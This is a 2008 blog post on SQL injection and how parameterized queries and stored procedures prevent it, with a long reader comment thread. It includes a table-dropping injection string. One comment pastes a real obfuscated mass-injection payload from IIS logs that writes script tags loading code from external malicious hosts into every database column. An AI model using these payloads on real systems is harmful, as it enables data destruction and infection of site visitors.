SQL Injection and how to avoid it

It isn't as big of a deal at the moment, but it is always good to make sure everyone is aware of this and how dangerous it can be.  There is some very good information on it located on MSDN here.  The important part is to remember that anytime you take input from an external source (someone typing on a web page), they don't always have to put in what you expect.

The safest way to keep yourself safe from SQL Injection is to always use stored procedures to accept input from user-input variables.  It is really simple to do this, for example, this is how you don't want to code things:

var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + 
          ShipCity + "'";

This allows someone to use SQL Injection to gain access to your database.  For example, imagine if someone put in the following for the "ShipCity":

Redmond'; drop table OrdersTable-- 

This would delete the entire table!  If you have seen much on SQL Injection, they have figured out all kinds of ways to get information about your database or server, so don't think they can't find the names of tables, etc.

The correct way to do this would be using a stored procedure as follows:

SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id",
     SqlDbType.VarChar, 11);
parm.Value = Login.Text;

Then you will be protected.  Be sure to use parameterized stored procedures to keep the stored procedure from having the same problem as before.

-- Update --

The above code would call a stored procedure that would be something like:

CREATE PROCEDURE AuthorLogin @au_id varchar(11)
AS
SET NOCOUNT ON
SELECT Author from AuthorTable WHERE au_id = @au_id
GO

Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures.

-- End Update --

There are other hints and advice on the MSDN article that you can check out, but this is the major piece of advice to know.

There is also some additional information that you can find here.  You can find more information and a video at Explained – SQL Injection and another video about it here.  There are tons of links on the web so feel free to research this more to be sure you are safe from this problem.

Here are a few other links to help on the subject:

SQL Injection Attack from the SWI team at Microsoft
Preventing SQL Injections in ASP
Filtering SQL Injection From Classic ASP
Classic ASP which is still alive and parameterized queries
ISAPI filter to protect against SQL Injection
Michael Sutton's Blog on SQL Injection

kick it on DotNetKicks.com

Published 29 May 08 10:18 by Tom

Comment Notification

If you would like to receive an email when updates are made to this post, please register here

Subscribe to this post's comments using RSS

Comments

# DotNetKicks.com said on May 29, 2008 10:19 AM:

You've been kicked (a good thing) - Trackback from DotNetKicks.com

# stevef said on May 29, 2008 12:30 PM:

Can we not just use parameterized inline sql. Has the same protection and removes a layer of maintenance.

# Justin Saraceno said on May 29, 2008 1:19 PM:

Although stored procedures are usually better practice, they aren't the only answer here.  Plain old paramaterized text queries will do the trick too.

# Tom said on May 29, 2008 1:22 PM:

Stevef,

That is an option also.  Stored procedures allow you to do more validation if you want, but that would work as well for the majority of issues.

# kris said on May 29, 2008 2:24 PM:

Agreed, that's good advice, but as stevef already noted, parameterized inline SQL (using System.Data.SqlClient.SqlCommand) is just as safe. And unlike what Tom suggests, i believe you can do exactly the same T-SQL you can in a stored procedure, and that includes all the validation you wish. It just won't have the performance benefits of using a stored procedure.

Too bad you didnt show how to make the actual stored procedure, It could be very usefull for those who arrive here from search engines. So here goes a pretty simple off-the-top-of-my-head T-SQL script for creating a stored procedure that gets a list of orders from an imaginary database.

IF EXISTS( SELECT 1 FROM sysobjects so WHERE so.name = 'AuthorLogin' and xtype = 'S' IS NOT NULL

BEGIN

DROP PROCEDURE spOrder_FetchById

END

GO

CREATE PROCEDURE spOrder_FetchById

(

@City VARCHAR(32)

)

AS

BEGIN

SELECT

OV.*

FROM OrderListView OV

WHERE

OV.City = @City

ORDER BY

OV.OrderDate ASC

,OV.TotalOrderAmount DESC

END

GO

# Tom said on May 29, 2008 2:30 PM:

Kris,

Thanks for including that.  You are right, I should have added that as well and performance is a big reason for using a stored procedure.

# stevef said on May 29, 2008 3:34 PM:

That is very negligable thesedays (inline is also compiled) especially given the burden of an extra layer to write and maintain. i'd rather spend that time speeding up the UI, saving k down the wire (viewstate, daft control naming conventions etc etc) is so much more noticable for the end user compared to a tiny speed benefit in a proc

# alex said on May 29, 2008 3:43 PM:

the performance gain you get using a stored procedure is more or less neglible, unless you're running large queries. The same can be said of the network traffic you're saving.

# kris said on May 29, 2008 4:41 PM:

Tom, I didnt mean to tell you how to blog or anything, just hoped the info might help someone. I see the whole text i posted earlier isn't worth much in this form though, so much information is lost with the indent being gone. Maybe you can mod some code tags around, or just put something in the main blog post?

stevef, i agree for the most part that the gain in performance is negligable, but that isn' true for every situation.  For example; my team maintains a large-ish database that stores, among other things, online transactions, but it also does a lot of processing and that includes importing offline transactions. In our case, even merely not having to put the text of the statement over the line from our communications host to the database is "pure profit". It's only a couple hundred bytes per transaction, but in the grand scheme of things, it adds up.

We'll be migrating to oracle in the near future, that'll be... interesting.

# Jeff Woodman said on May 29, 2008 6:53 PM:

SQL injection is a huge problem right now for state government networks. We are seeing a HUGE amount of probing for SQL injection vulnerabilities here in New Mexico. Most of the malicious traffic seems to originate from Hong Kong. A friend of mine has been detailed pretty much full-time to analyze existing web apps to find vulerabilities (unparameterized SQL statements).

# Jeff Woodman said on May 29, 2008 6:58 PM:

Also, my two cents on inline SQL vs. stored procedures: SPs simplify security; if all the data access and manipulation is done via stored procedures, you don't have to grant the application's account direct CRUD access to table.

# my web has javasript said on May 29, 2008 7:22 PM:

it contain more js like,every colum contain like

<script src=http://s.see9.us/s.js></script>

<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr'      width=50    border=0>

I open iis log, it is  some like

http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

what does that mean?I think it must be here have bad, I change databa password,but no result

# Tom said on May 29, 2008 9:56 PM:

Kris,

I'll see what I can do and put up a sample stored procedure with spacing well and add it to this blog post.  Why are you switching to Oracle?

# Kris said on May 30, 2008 4:10 AM:

Tom,

We're switching to oracle because our main software branch and the development team along with it, were basically bought up by a huge US corporation. They're already running a lot of oracle based systems worldwide and since they're going to be "running the show", they've mandated the switch.

It kinda excites me for the challenges it will bring. My database background has always been pretty much mysql only before I got this job. And i remember the mental effort required to make the switch to SqlServer was big, but overall it's been a great learning experience.

I'll never know even nearly everything I'd like to know, but every new thing mastered is a step in the right direction.

# Klas said on May 30, 2008 5:09 AM:

On the subject, cracked me up http://xkcd.com/327

# stevef said on May 30, 2008 5:12 AM:

Jeff,

I still dont see this as a major win against the overhead of creating CRUD procs on a large db. Surely if someone can gain access to your tables directly through somehow getting and using application credentials then you have got a much bigger infrastructure security issue.

# theredhead said on May 30, 2008 9:47 AM:

Tom, good job on the update, especially with the "Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures."

I had no idea that did anything besides make sqlwb's output log more readable. means i'm still learning this stuff :-)

# Chris said on May 30, 2008 11:43 AM:

Would using the parameters 'addwithvalue' command help prevent SQL injection?

ie.  insertcmd.Parameters.AddWithValue(@user, this.txtlogin.txt)

# Jeff Woodman said on May 30, 2008 1:04 PM:

Stevef, point taken: If hackers get that far, you've got major security issues. I still like the approach's simplicity though. Especially if someone else is responsibly for maintaining the database security for my application. ;)

At the agency I work for, the SP approach is the standard way of doing things. An SP layer will more clearly delineate application/service boundaries and is simpler to manage security on, period.

# Tom said on May 30, 2008 1:20 PM:

Chris,

Yes, that is what Stevef was suggesting also.  That would work.

# Jeff Woodman said on May 30, 2008 3:31 PM:

Chris, using AddWithValue is risky because the allowed length of the parameter is inferred from the length of the input in the case of strings. It's better to create a formal parameter so you can assign a data type and a maximum length for the paramter's value. I use AddWithValue for numeric values, and it's also OK to use them if you've previously validated the string value.

# Michelle said on May 30, 2008 11:48 PM:

The hyperlinks related to classic ASP are dead

# Tom said on June 1, 2008 1:00 AM:

Michelle,

They are fixed now.  Sorry about that.

# ASP.NET Debugging said on June 2, 2008 11:43 AM:

My previous post on this topic generated so much discussion that I thought I should post about it some

# adefwebserver said on June 2, 2008 7:02 PM:

Is anyone here using Linq to SQL? After using it you can't go back. SQL injection is not an issue and I feel that the LINQ to SQL "sql" is more optimized than CRUD stored procedures. For example an update stored procedure is writen to usually update every field even if only one is changed. A Linq to SQL update statement only updates the fields being updated. This is really helpful because it wont lock the whole row.

# David said on June 2, 2008 10:49 PM:

I do not know what is the scariest: still having to talk about SQL injections in 2008 or telling people to use stored procedures for CRUD operations.

I reckon this post is a *good thing* because constant reminders are what prevent forgetting things.

# molotov said on June 3, 2008 8:38 AM:

Though it's likely a subset of other information that has been linked to, I didn't see this listed, and thought it may be relevant / beneficial / supporting:

Giving SQL Injection the Respect it Deserves @ http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx

# Tom said on June 3, 2008 10:51 AM:

Adefwebserver,

Very good point.  I'll have to look into this and maybe post an example on here.

# Tom said on June 3, 2008 11:01 AM:

Molotov,

It is always good to point it out directly though.  Thanks.

# Ash said on June 3, 2008 3:02 PM:

What I really want to know is why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions.  That just defies logic.

# adefwebserver said on June 4, 2008 11:48 AM:

The "Filtering SQL Injection From Classic ASP" provides the fastest method to do something "right now" while you are recoding to use sql parameters. It allows you to put an "include" at the top of your pages.

# Tom said on June 5, 2008 8:55 AM:

my web has javasript,

I'd suggest you create a case with Microsoft and let us look into it.  We will be able to track down what happened and help get things working correctly again.

Check out:

http://blogs.msdn.com/tom/archive/2007/11/15/contacting-tom.aspx

For information about contacting Microsoft.

# Ben in SC said on July 30, 2008 10:47 PM:

mywebhasjavascript

asked about malicious javascript in his columns

if you go to http://www.albionresearch.com/misc/urlencode.php

you can translate this: src=http://%61%31%38%38%2E%77%73/1.js

into this:

src=http://a188.ws/1.js

However, his big problem is that he has been hacked, big time, by a combined SQL injection/cross site scripting attack that loads a big hex string into SQL Server (@s=0x....) and executes it (exec @s).  It loaded this javascript in every column in your DB in the hope that your users will get this payload in dynamic html pages and will execute and load malicious code in your user's machine.

Restore your DB from backup, disconnect from the web until you follow the advice on this page and make your app secure from SQL injection.  Don't turn your web app on again until you have parameterized queries or stored procs.

This is THE big hack of 2008.  It's all over the web.

Good luck.

Ben in SC

# Useful IIS/ASP.NET Information provided by Microsoft Support Teams said on October 15, 2008 6:31 PM:

The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan

# IIS troubleshooting, administration, and concepts. said on October 15, 2008 6:37 PM:

The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan

Leave a Comment

(required) 
(optional)
(required) 

Search

Go

This Blog

Syndication

Page view tracker